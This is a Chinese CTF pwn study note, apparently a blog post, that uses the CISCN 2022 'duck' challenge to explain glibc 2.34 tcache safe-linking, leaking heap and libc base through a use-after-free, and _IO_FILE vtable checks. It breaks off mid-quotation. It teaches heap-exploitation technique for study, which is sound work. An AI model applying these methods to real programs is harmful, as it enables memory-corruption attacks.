如题,这篇学一下高版本libc的机制,循序渐进就先用libc-2.34,以[CISCN 2022 华东北]的duck为例

题目:https://www.nssctf.cn/problem/2388

调试的libchttps://ftp.gnu.org/gnu/libc/glibc-2.34.tar.gz

漏洞点·

这题的漏洞点还是挺简单的,在delete的时候指针没有置0,还就是那个uaf

另外,题目的这几个函数的idx都只检查了上界,没有检查下界,存在下溢漏洞(非预期?)

但是这篇主要还是学习libc-2.34的机制,就不用这个洞打了

Part.1 泄露heap_base·

heap_base依然可以用tcachebin泄露

但如果直接用笔记vol.0的方法去泄露的话,会发现拿到的地址会不太对劲,比如根本不在[heap]段,或者拿到奇数的地址

来看看这是啥情况

libc-2.34的Tcache机制·

libc-2.34tcache机制较libc-2.27发生了一点变化,可以直接翻malloc.c

首先看tcache_putfree时会触发)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache_key;

e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

这里多了一步e->key = tcache_key,而且e->next不是直接赋值tcache->entries[tc_idx],而是用一个PROTECT_PTR

也就是tcache_entry结构体也发生了变化,多了一个key变量

1
2
3
4
5
6
7
8
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;

同时tcache_get也有变化,也是多了e->key的操作和一个叫REVEAL_PTR的宏

1
2
3
4
5
6
7
8
9
10
11
12
13
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = 0;
return (void *) e;
}

tcache_key·

首先看key的部分,在malloc.c中多了一个全局变量tcache_key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* Process-wide key to try and catch a double-free in the same thread.  */
static uintptr_t tcache_key;

/* The value of tcache_key does not really have to be a cryptographically
secure random number. It only needs to be arbitrary enough so that it does
not collide with values present in applications. If a collision does happen
consistently enough, it could cause a degradation in performance since the
entire list is checked to check if the block indeed has been freed the
second time. The odds of this happening are exceedingly low though, about 1
in 2^wordsize. There is probably a higher chance of the performance
degradation being due to a double free where the first free happened in a
different thread; that's a case this check does not cover. */
static void
tcache_key_initialize (void)
{
if (__getrandom (&tcache_key, sizeof(tcache_key), GRND_NONBLOCK)
!= sizeof (tcache_key))
{
tcache_key = random_bits ();
#if __WORDSIZE == 64
tcache_key = (tcache_key << 32) | random_bits ();
#endif
}
}

tcache_key_initialize大概可以知道tcache_key是一个和canary类似的随机值

tcache_put可以知道这东西在free的时候会赋在tcachebin堆块的key位置上,再来看tcache_get,在tcache_get结束的时候会把key0,这也就相当于,key是一个用来表明一个堆块是否被free的标记

根据注释可以看到,这东西主要用来防止double free,翻到malloc.c:4346会找到在_int_free中会检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* This test succeeds on double free.  However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}

这东西虽然防double free但是不防uaf啊,用uaf甚至可以泄露tcache_key

PROTECT_PTR·

再来看PROTECT_PTRREVEAL_PTR,这两个其实是同一个东西,看定义

1
2
3
4
5
6
7
8
9
10
11
12
/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works. */
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

根据注释可以知道这是一个用在tcachebinfastbin中的机制

PROTECT_PTR是在用ASLR的地址去mask参数中的ptr地址,其中的ASLR就是((size_t) pos) >> 12,即heap_base十六进制抹去低三位

PS:要理解这个可能需要熟悉一下ASLRmmap的机制,ASLR就是地址空间布局随机化, 可以简单理解为每次启动程序分配的地址都不一样,虽然是不一样,但也是用mmap分配的,而mmap分配需要页对齐,一页的大小是4096(也就是0x1000),所以((size_t) pos) >> 12其实是在拿pos所在的页的随机化的地址

REVEAL_PTR就是同样的操作,这里因为&ptr就是pos,所以(((size_t) ptr) >> 12就是mask,根据异或的性质就可以还原ptr的值

那么该如何泄露·

先看tcache_put,也就是free

1
2
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;

这一步相当于单链表的头插入,tcache->entries[tc_idx]就是tc_idx对应大小的tcachebin链表的头,而在程序开始时,tcachebin中没有东西,所以这个头就是NULL,也就是tcache->entries[tc_idx] = 0

那么这时套进PROTECT_PTR中,也就是在free第一个放到tcachebin的堆块时,会发生

1
PROTECT_PTR (&e->next, 0) => (&e->next >> 12) ^ 0 => (&e->next >> 12) => ASLR of e

也就是在free结束后,通过tcache->entries[tc_idx]->next上放的是堆某一页的ASLR值,如果e是堆中第一页(前0x1000)的堆块的话,那么把这个ASLR值就是heap_base >> 12

知道原理后操作就很简单了,首先add一个堆块,然后delete掉,那么这个堆块就是tcachebin中的第一个堆块,而且也是第一页的堆块

接着利用uaf,把这个堆块show出来就可以拿到heap_base >> 12,左移回12位就是heap_base

Part.2 泄露libc_base·

libc_base的泄露方法和笔记vol.0的类似,首先进行8add,再全部delete掉,那么前7个堆块就会把tcachebin填满,第8个堆块就会进入unsortedbin中,这样这个堆块的fd指针就会指向main_arena+96

PS:理论是这样,实际操作的时候需要分配第9个堆块把第8个堆块和top_chunk隔开,不然第8个堆块会和top_chunk合并而不是放到unsortedbin中,或者安排一下顺序让第8个堆块不在最后被delete也行

注意上面的PROTECT_PTR机制只适用于tcachebinfastbin,并不会用于unsortedbin,所以直接利用uaf,把第8个堆块show出来就可以泄露main_arena地址,也即得到libc_base

Part.3 打_IO_FILE·

按照笔记vol.0的方法,这里直接往free_hook中写one_gadget就好

但在libc-2.34或者更高的版本中,free_hook已经成为历史,在ChangeLoge.23中可以看到这几个hook都已经被移除了

虽然用libc.symbols['__free_hook']还能找到这个符号,但是看__libc_free__libc_malloc中也没有free_hookmalloc_hook的调用了

那么接下来该打哪呢,参考其他PWN手的经验的话,他们好像都会去打_IO_FILE

PS:_IO_FILE以前都是另一个考点的,现在还用在堆上了

_IO_FILE·

先来看看这个_IO_FILE是怎么回事

_IO_FILE的定义在libio/bits/types/FILE.hlibio/bits/types/struct_FILE.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#ifndef __FILE_defined
#define __FILE_defined 1

struct _IO_FILE;

/* The opaque type of streams. This is the definition used elsewhere. */
typedef struct _IO_FILE FILE;

#endif


/* The tag name of this struct is _IO_FILE to preserve historic
C++ mangled names for functions taking FILE* arguments.
That name should not be used in new code. */
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

这里暂时只需要知道后面见到的FILE类型就是这里的struct _IO_FILE就好了

另一个有用的定义是libio/libioP.h中的_IO_FILE_plus

1
2
3
4
5
6
7
8
9
10
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};

_IO_list_all链表和FSOP·

先看file,这里的FILE即上面的_IO_FILE类型,先重点关注里面的_chain指针

libioP.h中,还定义了一个叫_IO_list_all的东西

1
2
extern struct _IO_FILE_plus *_IO_list_all;
libc_hidden_proto (_IO_list_all)

libio/genops.c_IO_iter_begin_IO_link_in,大概可以知道_IO_list_all是一个链头,而_chain就是单链表的next指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
_IO_ITER
_IO_iter_begin (void)
{
return (_IO_ITER) _IO_list_all;
}
libc_hidden_def (_IO_iter_begin)

void
_IO_link_in (struct _IO_FILE_plus *fp)
{
if ((fp->file._flags & _IO_LINKED) == 0)
{
fp->file._flags |= _IO_LINKED;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
run_fp = (FILE *) fp;
_IO_flockfile ((FILE *) fp);
#endif
fp->file._chain = (FILE *) _IO_list_all;
_IO_list_all = fp;
#ifdef _IO_MTSAFE_IO
_IO_funlockfile ((FILE *) fp);
run_fp = NULL;
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
}
}
libc_hidden_def (_IO_link_in)

所以要找到这些_IO_FILE_plus类型变量的话,通常会用单链表遍历的方法去找,比如在源码中常见的类似以下的表达

1
2
3
(struct _IO_FILE_plus *) _IO_list_all->file._chain

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)

在一些旧版本的libc中,可以通过劫持_IO_list_all来伪造一条链以及上面的vtable进行攻击,这个攻击又叫FSOP

但在libc-2.24以后的libc中开始加了检查,所以就用不了了,了解一下就好

vtable虚表·

接下来重点说一下vtable,这里的vtable是仿照C++的多态做了个虚表

首先看_IO_jump_t的定义,在libioP.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define JUMP_FIELD(TYPE, NAME) TYPE NAME

struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

暂时只能看到它定义了一堆类型

那么什么地方会调用到vtable里的东西呢,可以看一下libioP.h:134-288的那一大堆宏定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
/* The 'finish' function does any final cleaning up of an _IO_FILE object.
It does not delete (free) it, but does everything else to finalize it.
It matches the streambuf::~streambuf virtual destructor. */
typedef void (*_IO_finish_t) (FILE *, int); /* finalize */
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
#define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0)

/* The 'overflow' hook flushes the buffer.
The second argument is a character, or EOF.
It matches the streambuf::overflow virtual function. */
typedef int (*_IO_overflow_t) (FILE *, int);
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

/* The 'underflow' hook tries to fills the get buffer.
It returns the next character (as an unsigned char) or EOF. The next
character remains in the get buffer, and the get position is not changed.
It matches the streambuf::underflow virtual function. */
typedef int (*_IO_underflow_t) (FILE *);
#define _IO_UNDERFLOW(FP) JUMP0 (__underflow, FP)
#define _IO_WUNDERFLOW(FP) WJUMP0 (__underflow, FP)

/* The 'uflow' hook returns the next character in the input stream
(cast to unsigned char), and increments the read position;
EOF is returned on failure.
It matches the streambuf::uflow virtual function, which is not in the
cfront implementation, but was added to C++ by the ANSI/ISO committee. */
#define _IO_UFLOW(FP) JUMP0 (__uflow, FP)
#define _IO_WUFLOW(FP) WJUMP0 (__uflow, FP)

/* The 'pbackfail' hook handles backing up.
It matches the streambuf::pbackfail virtual function. */
typedef int (*_IO_pbackfail_t) (FILE *, int);
#define _IO_PBACKFAIL(FP, CH) JUMP1 (__pbackfail, FP, CH)
#define _IO_WPBACKFAIL(FP, CH) WJUMP1 (__pbackfail, FP, CH)

/* The 'xsputn' hook writes upto N characters from buffer DATA.
Returns EOF or the number of character actually written.
It matches the streambuf::xsputn virtual function. */
typedef size_t (*_IO_xsputn_t) (FILE *FP, const void *DATA,
size_t N);
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define _IO_WXSPUTN(FP, DATA, N) WJUMP2 (__xsputn, FP, DATA, N)

/* The 'xsgetn' hook reads upto N characters into buffer DATA.
Returns the number of character actually read.
It matches the streambuf::xsgetn virtual function. */
typedef size_t (*_IO_xsgetn_t) (FILE *FP, void *DATA, size_t N);
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
#define _IO_WXSGETN(FP, DATA, N) WJUMP2 (__xsgetn, FP, DATA, N)

/* The 'seekoff' hook moves the stream position to a new position
relative to the start of the file (if DIR==0), the current position
(MODE==1), or the end of the file (MODE==2).
It matches the streambuf::seekoff virtual function.
It is also used for the ANSI fseek function. */
typedef off64_t (*_IO_seekoff_t) (FILE *FP, off64_t OFF, int DIR,
int MODE);
#define _IO_SEEKOFF(FP, OFF, DIR, MODE) JUMP3 (__seekoff, FP, OFF, DIR, MODE)
#define _IO_WSEEKOFF(FP, OFF, DIR, MODE) WJUMP3 (__seekoff, FP, OFF, DIR, MODE)

/* The 'seekpos' hook also moves the stream position,
but to an absolute position given by a fpos64_t (seekpos).
It matches the streambuf::seekpos virtual function.
It is also used for the ANSI fgetpos and fsetpos functions. */
/* The _IO_seek_cur and _IO_seek_end options are not allowed. */
typedef off64_t (*_IO_seekpos_t) (FILE *, off64_t, int);
#define _IO_SEEKPOS(FP, POS, FLAGS) JUMP2 (__seekpos, FP, POS, FLAGS)
#define _IO_WSEEKPOS(FP, POS, FLAGS) WJUMP2 (__seekpos, FP, POS, FLAGS)

/* The 'setbuf' hook gives a buffer to the file.
It matches the streambuf::setbuf virtual function. */
typedef FILE* (*_IO_setbuf_t) (FILE *, char *, ssize_t);
#define _IO_SETBUF(FP, BUFFER, LENGTH) JUMP2 (__setbuf, FP, BUFFER, LENGTH)
#define _IO_WSETBUF(FP, BUFFER, LENGTH) WJUMP2 (__setbuf, FP, BUFFER, LENGTH)

/* The 'sync' hook attempts to synchronize the internal data structures
of the file with the external state.
It matches the streambuf::sync virtual function. */
typedef int (*_IO_sync_t) (FILE *);
#define _IO_SYNC(FP) JUMP0 (__sync, FP)
#define _IO_WSYNC(FP) WJUMP0 (__sync, FP)

/* The 'doallocate' hook is used to tell the file to allocate a buffer.
It matches the streambuf::doallocate virtual function, which is not
in the ANSI/ISO C++ standard, but is part traditional implementations. */
typedef int (*_IO_doallocate_t) (FILE *);
#define _IO_DOALLOCATE(FP) JUMP0 (__doallocate, FP)
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)

/* The following four hooks (sysread, syswrite, sysclose, sysseek, and
sysstat) are low-level hooks specific to this implementation.
There is no correspondence in the ANSI/ISO C++ standard library.
The hooks basically correspond to the Unix system functions
(read, write, close, lseek, and stat) except that a FILE*
parameter is used instead of an integer file descriptor; the default
implementation used for normal files just calls those functions.
The advantage of overriding these functions instead of the higher-level
ones (underflow, overflow etc) is that you can leave all the buffering
higher-level functions. */

/* The 'sysread' hook is used to read data from the external file into
an existing buffer. It generalizes the Unix read(2) function.
It matches the streambuf::sys_read virtual function, which is
specific to this implementation. */
typedef ssize_t (*_IO_read_t) (FILE *, void *, ssize_t);
#define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN)
#define _IO_WSYSREAD(FP, DATA, LEN) WJUMP2 (__read, FP, DATA, LEN)

/* The 'syswrite' hook is used to write data from an existing buffer
to an external file. It generalizes the Unix write(2) function.
It matches the streambuf::sys_write virtual function, which is
specific to this implementation. */
typedef ssize_t (*_IO_write_t) (FILE *, const void *, ssize_t);
#define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN)
#define _IO_WSYSWRITE(FP, DATA, LEN) WJUMP2 (__write, FP, DATA, LEN)

/* The 'sysseek' hook is used to re-position an external file.
It generalizes the Unix lseek(2) function.
It matches the streambuf::sys_seek virtual function, which is
specific to this implementation. */
typedef off64_t (*_IO_seek_t) (FILE *, off64_t, int);
#define _IO_SYSSEEK(FP, OFFSET, MODE) JUMP2 (__seek, FP, OFFSET, MODE)
#define _IO_WSYSSEEK(FP, OFFSET, MODE) WJUMP2 (__seek, FP, OFFSET, MODE)

/* The 'sysclose' hook is used to finalize (close, finish up) an
external file. It generalizes the Unix close(2) function.
It matches the streambuf::sys_close virtual function, which is
specific to this implementation. */
typedef int (*_IO_close_t) (FILE *); /* finalize */
#define _IO_SYSCLOSE(FP) JUMP0 (__close, FP)
#define _IO_WSYSCLOSE(FP) WJUMP0 (__close, FP)

/* The 'sysstat' hook is used to get information about an external file
into a struct stat buffer. It generalizes the Unix fstat(2) call.
It matches the streambuf::sys_stat virtual function, which is
specific to this implementation. */
typedef int (*_IO_stat_t) (FILE *, void *);
#define _IO_SYSSTAT(FP, BUF) JUMP1 (__stat, FP, BUF)
#define _IO_WSYSSTAT(FP, BUF) WJUMP1 (__stat, FP, BUF)

/* The 'showmany' hook can be used to get an image how much input is
available. In many cases the answer will be 0 which means unknown
but some cases one can provide real information. */
typedef int (*_IO_showmanyc_t) (FILE *);
#define _IO_SHOWMANYC(FP) JUMP0 (__showmanyc, FP)
#define _IO_WSHOWMANYC(FP) WJUMP0 (__showmanyc, FP)

/* The 'imbue' hook is used to get information about the currently
installed locales. */
typedef void (*_IO_imbue_t) (FILE *, void *);
#define _IO_IMBUE(FP, LOCALE) JUMP1 (__imbue, FP, LOCALE)
#define _IO_WIMBUE(FP, LOCALE) WJUMP1 (__imbue, FP, LOCALE)

其中的JUMPN可以理解为是调用有N+1个参数的函数,而第一个参数是固定FP,定义也在libioP.h

1
2
3
4
5
6
7
8
9
10
11
#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define JUMP3(FUNC, THIS, X1,X2,X3) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)
#define JUMP_INIT(NAME, VALUE) VALUE
#define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0)

#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define WJUMP2(FUNC, THIS, X1, X2) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define WJUMP3(FUNC, THIS, X1,X2,X3) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)

可以看到接着会调用_IO_JUMPS_FUNC_IO_WIDE_JUMPS_FUNC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* Type of MEMBER in struct type TYPE.  */
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)

/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing
violation in case THIS has a different pointer type. */
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
+ offsetof(TYPE, MEMBER)))

#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

继续追下去,可以发现在调用_IO_JUMPS_FUNC时会调用IO_validate_vtableFP的合法性进行检查

PS:直接看这里的话好像调用_IO_WIDE_JUMPS_FUNC并没有检查,有空再继续追一下(挖坑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* Perform vtable pointer validation.  If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

这里的意思是,vtable要落在__start___libc_IO_vtables__stop___libc_IO_vtables之间,这位置放的是libc内置的_IO_jump_t结构体,正常情况下这部分是不可写的

至于上面有哪些_IO_jump_t结构体,可以源码中搜索JUMP_INIT_DUMMY,因为内置的_IO_jump_t结构体都会用JUMP_INIT_DUMMY放两个0在头部,原理未明

1
2
#define JUMP_INIT(NAME, VALUE) VALUE
#define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0)

继续看,如果检查的vtable不落在__start___libc_IO_vtables__stop___libc_IO_vtables之间的话,就会调用_IO_vtable_check做进一步检查

这个函数在libio/vtables.c中,暂时没看出在干啥,据说是检查是否重构或是动态链接库中的vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

举个栗子·

看完这机制就挺复杂的,那么我要怎么去找攻击链呢,这里举个栗子

比如说我发现__finish的函数有可利用的漏洞,我就要去找什么地方调用了这个函数,根据宏定义,就是找_IO_FINISH这个函数

随便翻了一下,这东西在libio/iofclose.c_IO_new_fclose函数和libio/iovdprintf.c__vdprintf_internal函数中调用了_IO_FINISH

那么接下来我就要继续追哪个地方可以调用这两个函数,然后怎样可以构造函数的参数之类的

注意因为有IO_validate_vtable的检查,vtable只能覆盖为libc库内置的_IO_jump_t结构体,而这些结构体又是const的,里面的指针不能被覆盖,所以好像就只能找libc的漏洞去打了

exit的攻击链(NG)·

除了从底层的宏定义追上去外,也可以从顶层看程序调用了什么IO相关的函数追下去,而且这样好像更高效

这里用exit函数举个栗子,因为大部分的程序都会通过exit函数退出,所以具有一定的通用性

不过这个题目的程序并没有退出的机制,main函数中就是一个while的死循环,就并不适用这样的攻击链

main函数的return·

先来看一个有趣的结论:main函数结束return的时候其实也是调用exit结束程序的

这个追一下源码就好,首先程序开始都是通过_libc_start_main进入main函数,这东西在csu/libc-start.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
/* Note: The init and fini parameters are no longer used.  fini is
completely unused, init is still called if not NULL, but the
current startup code always passes NULL. (In the future, it would
be possible to use fini to pass a version code if init is NULL, to
indicate the link-time glibc without introducing a hard
incompatibility for new programs with older glibc versions.)

For dynamically linked executables, the dynamic segment is used to
locate constructors and destructors. For statically linked
executables, the relevant symbols are access directly. */
STATIC int
LIBC_START_MAIN (int (*main) (int, char **, char ** MAIN_AUXVEC_DECL),
int argc, char **argv,
#ifdef LIBC_START_MAIN_AUXVEC_ARG
ElfW(auxv_t) *auxvec,
#endif
__typeof (main) init,
void (*fini) (void),
void (*rtld_fini) (void), void *stack_end)
{
#ifndef SHARED
char **ev = &argv[argc + 1];

__environ = ev;

/* Store the lowest stack address. This is done in ld.so if this is
the code for the DSO. */
__libc_stack_end = stack_end;

# ifdef HAVE_AUX_VECTOR
/* First process the auxiliary vector since we need to find the
program header to locate an eventually present PT_TLS entry. */
# ifndef LIBC_START_MAIN_AUXVEC_ARG
ElfW(auxv_t) *auxvec;
{
char **evp = ev;
while (*evp++ != NULL)
;
auxvec = (ElfW(auxv_t) *) evp;
}
# endif
_dl_aux_init (auxvec);
if (GL(dl_phdr) == NULL)
# endif
{
/* Starting from binutils-2.23, the linker will define the
magic symbol __ehdr_start to point to our own ELF header
if it is visible in a segment that also includes the phdrs.
So we can set up _dl_phdr and _dl_phnum even without any
information from auxv. */

extern const ElfW(Ehdr) __ehdr_start
# if BUILD_PIE_DEFAULT
__attribute__ ((visibility ("hidden")));
# else
__attribute__ ((weak, visibility ("hidden")));
if (&__ehdr_start != NULL)
# endif
{
assert (__ehdr_start.e_phentsize == sizeof *GL(dl_phdr));
